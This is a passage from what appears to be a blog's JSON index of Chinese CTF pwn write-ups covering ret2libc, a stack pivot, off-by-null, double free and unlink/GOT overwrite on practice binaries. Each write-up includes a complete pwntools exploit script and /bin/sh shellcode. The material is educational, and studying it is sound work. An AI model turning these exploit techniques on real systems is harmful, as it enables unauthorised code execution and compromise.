')malloc_hook=u64(p.recv(6).ljust(8,'\\x00'))-0x70print(hex(malloc_hook))#dele(0)edit(4,0xb8*'\\x00'+p64(malloc_hook))add(0x100) #6edit(6,p64(vmmap))add(0x100)gdb.attach(p)sleep(1)p.interactive()","categories":[],"tags":[{"name":"buu","slug":"buu","permalink":"https://github.com/degial/tags/buu/"}]},{"title":"NewStar","slug":"NewStar","date":"2023-10-25T12:52:55.000Z","updated":"2024-11-29T15:54:26.164Z","comments":true,"path":"/posts/d23e595a/","link":"","permalink":"https://github.com/degial/posts/d23e595a/","excerpt":"","text":"p1eee开了pie保护 可以溢出一字节 还有个后门函数 因为代码段和后门函数地址相差是非常近的,只差了一个字节,所以可以直接覆盖返回地址为后门函数地址,返回函数的地址一般都是move rbp ,rsp之类的,所以这里最后一字节改成’\\x69’,改成之前的都不行。 exp123456789101112131415from pwn import*from LibcSearcher import *p=remote(\"node4.buuoj.cn\",29807)#p=process(\"./pie\")context.log_level=\"debug\"payload='a'*(0x28)+'\\x69'p.sendlineafter('A nice try to break pie!!!',payload)#gdb.attach(p)#sleep(1)#p.sendline(payload)p.interactive() ret2libc常规的64位的ret2libc题 区别在于最后的payload要在p64(binsh)后面加个ret的参数1payload='a'*0x28+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system) libc的话write_up是推荐手动计算,但是没给具体是什么版本的libc,用题目本身的,用buu自带提供的libc-2.23.so,libc-2.27.so都是打不通的。1234# libc.blukat.me 查询libc版本后手动计算(推荐)libc_base = puts_addr - 0x080970system_addr = libc_base + 0x04f420bin_addr = libc_base + 0x1b3d88 exp12345678910111213141516171819202122232425262728293031323334from pwn import *from LibcSearcher import *p=remote(\"node4.buuoj.cn\",27215)#p=process(\"./ret2libc1\")elf=ELF('./ret2libc1')#libc=ELF('./libc-2.23.so')#libc=elf.libccontext.log_level=\"debug\"puts_plt=0x400520puts_got=elf.got['puts']pop_rdi=0x400763main=0x400698ret=0x4006F1payload='a'*0x28+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)p.sendlineafter('again',payload)p.recvuntil('time')#gdb.attach(p)sleep(1)puts_addr=u64(p.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00'))#puts_addr=u64(p.recvuntil('\\n',drop=True).ljust(8,'\\x00'))print(hex(puts_addr))base=puts_addr-0x04f420#-libc.sym['puts']system=base+0x080970#libc.sym['system']binsh=base+0x1b3d88#libc.search('bin/sh').next()payload='a'*0x28+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)p.sendlineafter('again',payload)p.interactive()","categories":[],"tags":[{"name":"ctf-NewSar","slug":"ctf-NewSar","permalink":"https://github.com/degial/tags/ctf-NewSar/"}]},{"title":"login","slug":"login","date":"2023-10-23T12:48:27.000Z","updated":"2024-11-29T15:54:26.193Z","comments":true,"path":"/posts/aa08cb10/","link":"","permalink":"https://github.com/degial/posts/aa08cb10/","excerpt":"","text":"例行检查,这道题是静态的,函数多且看不懂 第十五行的Base64Decode函数,参数是s,用来将我们输入的s进行转换,是一个用于将base64格式的数据解码为二进制数据的函数,将转化后的值数据赋给v5,然后再把值给bss段上的input。 看向主函数,v7转化后的数据长度不能超过十二,输入测试发现输入的长度不能超过十一,因为输入的时候会加上换行符结束,send()可以发送十二个,sendline可以发送十一个字节,然后第二十二行把v7复制给了bss段上的input,然后是auth函数,会返回一段二进制数据编码。 payload这样写12payload='aaaa'+p32(0x8049284)+p32(0x811EB40)payload=base64.b64encode(payload) 只能刚好覆盖到ebp,因为最多输入0xc个字节,payload用函数编码为base64字符集,base64.b64encode()函数是Python标准库中的一个函数,用于将二进制数据编码为Base64字符串,在程序中经过Base64Decode()函数编码为二进制数据编码,也就是原来的数据,在程序中会把数据给bss段上的input,进入auth函数会将数据传给v4,v4的大小是八字节,会覆盖到ebp,ebp是input的地址0x811EB40,然后auth函数结束的时候,leave指令以后esp会指向0x811eb40,然后到下一个指令esp自动加四,esp=esp+4,也就是调用correct函数的地址,然后提权 exp123456789101112131415161718192021from pwn import*import base64from LibcSearcher import *p=remote(\"node4.buuoj.cn\",29010)#p=process(\"./login\")context.log_level=\"debug\"shell=0x08049284fake_addr=0x811eb40#payload='a'*0x4+p32(shell)+p32(fake_addr)payload=base64.b64encode(payload)#gdb.attach(p)sleep(1)p.sendlineafter('Authenticate :',payload)#p.sendline(payload)p.interactive()","categories":[],"tags":[{"name":"buu","slug":"buu","permalink":"https://github.com/degial/tags/buu/"}]},{"title":"sctf_2019_easy_heap","slug":"sctf-2019-easy-heap","date":"2023-10-21T12:16:40.000Z","updated":"2024-11-29T15:54:26.201Z","comments":true,"path":"/posts/afe33925/","link":"","permalink":"https://github.com/degial/posts/afe33925/","excerpt":"","text":"这道题用off by null解例行检查,保护全开,不能利用got表,只能用hook的地址 程序运行前会执行一个函数,把buf的地址映射到某个0x1000大小的地址上,并返回这个地址,而且这个地址是可执行的,那么就可以用shellcode。mmap()函数的权限参数指定了将要映射到进程地址空间的内存区域的访问权限。权限参数可以是以下值之一: PROT_EXEC:允许对内存映射区域进行执行访问。 PROT_READ:允许对内存映射区域进行读取访问。 PROT_WRITE:允许对内存映射区域进行写入访问。 PROT_NONE:禁止对内存映射区域进行任何访问。 当权限参数的值为7时,实际上是将PROT_EXEC、PROT_READ和PROT_WRITE三个权限组合在一起,7=4+2+1。因此,权限参数为7表示将内存映射区域设置为可执行、读取和写入。在实际使用中,不建议将这些权限组合在一起,因为这可能会导致安全漏洞。通常建议只使用必要的权限来保护内存映射区域的安全性。 单独地把输入堆里的内容的函数放出来,双击一下,就是相当于read函数 按照题解里的流程,先创建一个0x410大小的堆,并接收其地址,这个地址存了malloc的堆的地址123add(0x410)p.recvuntil('Address ')chunk0_addr=int(p.recv(14),16) 然后再创建四个大小不同的堆12345add(0x28)add(0x18)add(0x4f8)add(0x10) 然后free掉堆01dele(0) 然后edit堆2,也就是输入内容,构造下面的unlink1payload=p64(0)*2+p64(0x420+0x20+0x30) 在free堆3后,就会unlink合并,四个堆合并在一起1dele(3) free堆3 这里存堆0,堆3的指针都被清掉了。 再free堆1,堆2 然后又malloc两次,两个大小加起来刚好是0x970,会从原来的freechunk中拿。12add(0x440)add(0x510) 然后编辑这两个堆的内容123payload=p64(0x410)+p64(0)+p64(0x30)+p64(mmap_addr+0x10)fill(0,payload)fill(1,'\\x30') 编辑完后,这是堆0的 成功修改了0x30的tachebin指针成mmap+10的地址,0x5577338a86b0这是最后一个堆的地址,tachebin机制在freechunk里的最后一个堆指向main_arena+96这个地址。 这是堆1的,bin指针修改成了malloc_hook的地址。 原本的话指向main_arena+96这个地址,改掉最后的字节成0x30就是malloc_hook的地址 再malloc两次,把多余的freechunk拿掉12add(0x28)#2add(0x18)#3 再add堆5,也就是在maap+10这个地址上放shellcode,手写shellcode是真的强好吧123add(0x28)#5payload2 = b\"\\x31\\xc0\\x48\\xbb\\xd1\\x9d\\x96\\x91\\xd0\\x8c\\x97\\xff\\x48\\xf7\\xdb\\x53\\x54\\x5f\\x99\\x52\\x57\\x54\\x5e\\xb0\\x3b\\x0f\\x05\"fill(5,payload2 + '\\n') 再add堆6,大小在0x10到0x18之间才能在0x20的tachebin(malloc_hook)里申请,这里我们放上st_addr+0x10的地址,也就是maap_addr+0x10的地址。12add(0x18)#6edit(6,p64(st_addr + 0x10) + '\\n') 这是堆5和堆6的地址,也就是mmap+10的地址和malloc_hook的地址 最后,再malloc一次,就会执行malloc_hook,而这个地址就会去执行mmap+0x10这个地址,这个地址放又shellcode,成功提权。exp123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960from pwn import*from LibcSearcher import *p=remote(\"node4.buuoj.cn\",29573)#p=process(\"./sctf_2019_easy_heap\")context(arch='amd64')context.log_level=\"debug\"libc=ELF('./libc-2.27.so')def add(size): p.sendlineafter('>> ','1') p.sendlineafter('Size: ',str(size)) def fill(index,content): p.sendlineafter('>> ','3') p.sendlineafter('Index: ',str(index)) p.sendlineafter('Content: ',content)def dele(index): p.sendlineafter('>> ','2') p.sendlineafter('Index: ',str(index))p.recvuntil('Mmap: ')mmap_addr=int(p.recv(12),16)print(hex(mmap_addr))add(0x410) add(0x28)add(0x18)add(0x4f8)add(0x10)dele(0)payload=p64(0)*2+p64(0x420+0x20+0x30)fill(2,payload)dele(3)dele(1)dele(2)add(0x440)add(0x510)payload='a'*(0x410)+p64(0)+p64(0x30)+p64(mmap_addr+0x10)fill(0,payload)fill(1,'\\x30')add(0x28)#2add(0x18)#3add(0x28)#5add(0x18)#6payload2 = b\"\\x31\\xc0\\x48\\xbb\\xd1\\x9d\\x96\\x91\\xd0\\x8c\\x97\\xff\\x48\\xf7\\xdb\\x53\\x54\\x5f\\x99\\x52\\x57\\x54\\x5e\\xb0\\x3b\\x0f\\x05\"fill(5,payload2)fill(6,p64(mmap_addr + 0x10))add(0x10)p.interactive()","categories":[],"tags":[{"name":"buu","slug":"buu","permalink":"https://github.com/degial/tags/buu/"}]},{"title":"","slug":"gyctf_2020_some_thing_exceting","date":"2023-10-16T12:27:11.330Z","updated":"2024-11-29T15:54:26.183Z","comments":true,"path":"/posts/0/","link":"","permalink":"https://github.com/degial/posts/0/","excerpt":"","text":"gyctf_2020_some_thing_exceting有点奇怪的UAF题,double free 有点奇怪做这道题前先在根目录下创建一个flag文件,不然的话程序运行不起来 flag是在bss段上的,双击fgets里的s,可以看到flag是放在0x6020a8 除了没有edit函数,其他都有add函数,先创建一个0x10大小的堆,然后会再创建两个堆,0x10的堆上放两外的两个堆的地址,然后是输入内容。 show函数,将两个地址的内容都打印出来,后期是用来打印flag dele函数,没有把bss上的堆指针置零,存在UAF漏洞,可以double free 漏洞是利用double free ,先单独free同一个两次堆不行,得先创建两次123456bss=0x6020a8-0x10add(0x40,'MMMM',0x50,'NNNN')add(0x40,'AAAA',0x40,'BBBB')dele(0) 1dele(1) 这是free掉第二个堆时候的样子以及其bin的样子,free函数的地址可以是零 1dele(0) #double free 这里的话是double free ,形成两个循环链表,0x20大小的fastbin中0x1855240指向0x1852300,0x1852300指向0x1852240。0x50大小的fastbin中0x18522b0指向0x1852370等等 1add(0x40,p64(bss),0x40,'AAAA') 再add一下的话,会先在bin里取,这里的话把先在0x18522b0和0x2952370写上内容,然后就把bin链给改掉了0x50的fastbin这里指向了最后的flag地址 再add一次会把前面两个0x50大小的fastbin给拿掉,然后的只剩下最后一个flag的堆的地址1add(0x40,'MMMM',0x40,'kkkk') 再malloc一次0x40的大小就能把flag堆地址改写到0x20大小的堆上,但是为了绕过fastbin的检查,得malloc 0x50的大小,所以前面也得改成0x50的大小,再show的话就会把flag输出出来,注意这里是第五个堆,因为前面的bss段上的堆指针都没有置零。1show(4) 想在bss段上申请堆,需要0x50的大小才能绕过fastbin的检查,这里选0x602098刚好。 exp12345678910111213141516171819202122232425262728293031323334353637383940414243444546from pwn import*from LibcSearcher import *#p=remote(\"node4.buuoj.cn\",26884)p=process(\"./gyctf_2020_some_thing_exceting\")elf=ELF('./gyctf_2020_some_thing_exceting')libc=ELF('./libc-2.23.so')context.log_level=\"debug\"def add(size1,content1,size2,content2): p.sendlineafter('Now please tell me what you want to do :','1') p.sendlineafter(\"> ba's length : \",str(size1)) p.sendlineafter('> ba : ',content1) p.sendlineafter(\"> na's length : \",str(size2)) p.sendlineafter('> na : ',content2)def dele(index): p.sendlineafter('Now please tell me what you want to do :','3') p.sendlineafter('Banana ID :',str(index))def show(index): p.sendlineafter('Now please tell me what you want to do :','4') p.sendlineafter('> Banana ID : > SCP project ID : ',str(index))bss=0x6020a8-0x10add(0x50,'MMMM',0x50,'NNNN')add(0x50,'AAAA',0x50,'BBBB')dele(0)dele(1)dele(0)add(0x50,p64(bss),0x50,'AAAA')add(0x50,'MMMM',0x50,'kkkk')add(0x50,b'1',0x60,b'')show(4)#gdb.attach(p)sleep(1)#pause()#dele(0)#p.sendline(payload)p.interactive()","categories":[],"tags":[]},{"title":"","slug":"zctf_2016_note3","date":"2023-10-14T13:49:24.054Z","updated":"2024-11-29T15:54:26.206Z","comments":true,"path":"/posts/0/","link":"","permalink":"https://github.com/degial/posts/0/","excerpt":"","text":"zctf_2016_note3这道题函数较多,但是相对来说还是一般的堆题,函数多可一多理解,下面开始一一讲解。先看add函数 第十二行的size函数,是用来输入我们要申请大小的堆,点进去看有点复杂,但其实和scanf差不多,里面还有个sub_4008dd的函数,再点进去 sub_4008dd函数,这个相当于read函数,在下面的好几个函数都调用到,先看函数的参数第三个参数 char a3,其值是10,第一个参数a1是输入的地址,第二个是输入的size,一个个输入保存在v7中但是最长不会超过32的长度,遇到’\\x00’时结束,这里的a3=10其实就是截止符’\\xa’,后面两条已经不重要了。 最后返回的是我们输入的第十二行size的值。第十九行的sub_4008dd函数也是同理,不过输入的长度有size决定。外面的sub_400a30函数里的nptr是在bss段上的地址,存放的是malloc的地址,第一个存放地址,第二个加八的地址存放size edit函数,先看第16行的read函数,第一个参数 *(&ptr + v3)其实就是存在堆上的地址,v3指的第几个堆,第二个参数,就是bss存堆地址再加8的地址,存放的是malloc的大小,和原来的一样,所以不存在堆溢出的情况。 dele函数,bss段上的地址清零,堆上的内容也被释放了,所以并不存在UAF漏洞 重点的地方在这,就是unlink的怎么构造。先构造四个个堆块,其中第一个堆堆0的fd和bk指针分别放fd=ptr-0x18和bk=ptr-0x10,后期会进行和并12345678910ptr=0x6020c8fd=ptr-0x18bk=ptr-0x10payload1=p64(0)+p64(0xb1)+p64(fd)+p64(bk)add(0x90,payload1) #堆0add(0,'bbbb') #堆1add(0x90,'CCCC') #堆2add(0x10,'dddd') #堆3 dele(1) 关于第二个堆块,我们申请的是0的大小,但是ptmalloc会最少申请0x10,后期edit的时候是可以溢出的,从而覆盖掉堆指针。这里会有个问题就是为什么不在第一次malloc堆1的时候写入payload2,因为第一次的话事溢出不到堆2123payload2=p64(0)*2+p64(0xb0)+p64(0xa0)add(0,payload2) 覆盖后的堆块是长这样的,把第堆2的大小和它的previous in use位改成了0,也就是上一个堆堆1没有使用 当删掉堆2的时候,它会检查堆1的两个指针,是满足条件的,其中的0xbbb018这个地址存放size的大小是包括到0xbbb0b0这里的(猜想),而0xbbb0c0这里的大小是previous size ,0xbbb0c8这里表示上一个堆没有使用。 当把堆2delete时,这几个堆就会进行合并dele之前,bss段上存放堆指针是这样的布局。 而在dele(2)后存放堆2的指针被置零了 这是堆合并后的样子,应该是堆1和堆2是没有被利用的然后和堆0合并了 0x151也就是中间0xbbb0c0这里的大小相加但是堆2这里的内存没有释放之后的bin是这样的 然后就可以从0x6020b0这个位置实行修改堆指针从而对got表的改写123payload3 = p64(0) * 2 + p64(elf.got['free']) * 2 + p64(elf.got['atoi']) + p64(0) + p64(elf.got['atoi'])edit(0,payload3) 再把edit堆0,也就是edit0x602018(free_got)地址的内容改写成(0x400730)puts_plt1edit(0,p64(0X400730)[:-1]) #puts_plt 这样再dele堆1的时候也就是free 0x6020d0这个地址,也就是puts(elf.got[‘atoi’]),从而获得atoi的got项的内容,从而可以算出libc的偏移12atoi_addr = u64(p.recvuntil('\\x7f')[-6:].ljust(8, b'\\x00'))success('atoi_addr = ' + hex(atoi_addr)) 然后再edit堆3,也就是0x6020e0这个地址,更改atoi的got表的地址为sytem,再从开始时候菜单有个atoi函数然后写入的内容为‘/bin/sh’就可以提权了。最后的exp123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960from pwn import*from LibcSearcher import *#p=remote(\"node4.buuoj.cn\",)p=process(\"./zctf_2016_note3\")elf=ELF('./zctf_2016_note3')libc=ELF('./libc-2.23.so')context.log_level=\"debug\"def add(size,content): p.sendlineafter('option--->>','1') p.sendlineafter('Input the length of the note content:(less than 1024)',str(size)) p.sendlineafter('Input the note content:',content)def edit(index,content): p.sendlineafter('option--->>','3') p.sendlineafter('Input the id of the note:',str(index)) p.sendlineafter('Input the new content:',content)def dele(index): p.sendlineafter('option--->>','4') p.sendlineafter('Input the id of the note:',str(index))ptr=0x6020c8fd=ptr-0x18bk=ptr-0x10payload1=p64(0)+p64(0xb1)+p64(fd)+p64(bk)add(0x90,payload1)add(0,'bbbb')add(0x90,'CCCC')add(0x10,'dddd')dele(1)payload2=p64(0)*2+p64(0xb0)+p64(0xa0)add(0,payload2) dele(2) #he bingpayload3 = p64(0) * 2 + p64(elf.got['free']) * 2 + p64(elf.got['atoi']) + p64(0) + p64(elf.got['atoi'])edit(0,payload3)edit(0,p64(0X400730)[:-1]) #puts_pltdele(1) #dele di 0 ge dui atoi_addr = u64(p.recvuntil('\\x7f')[-6:].ljust(8, b'\\x00'))success('atoi_addr = ' + hex(atoi_addr))#gdb.attach(p)sleep(1)base=atoi_addr-libc.sym['atoi']system=base+libc.sym['system']edit(3,p64(system))p.sendline('/bin/sh')#p.sendline(payload)p.interactive()","categories":[],"tags":[]}],"categories":[],"tags":[{"name":"-我想对她说","slug":"我想对她说","permalink":"https://github.com/degial/tags/%E6%88%91%E6%83%B3%E5%AF%B9%E5%A5%B9%E8%AF%B4/"},{"name":"buu","slug":"buu","permalink":"https://github.com/degial/tags/buu/"},{"name":"ctf-NewSar","slug":"ctf-NewSar","permalink":"https://github.com/degial/tags/ctf-NewSar/"}]}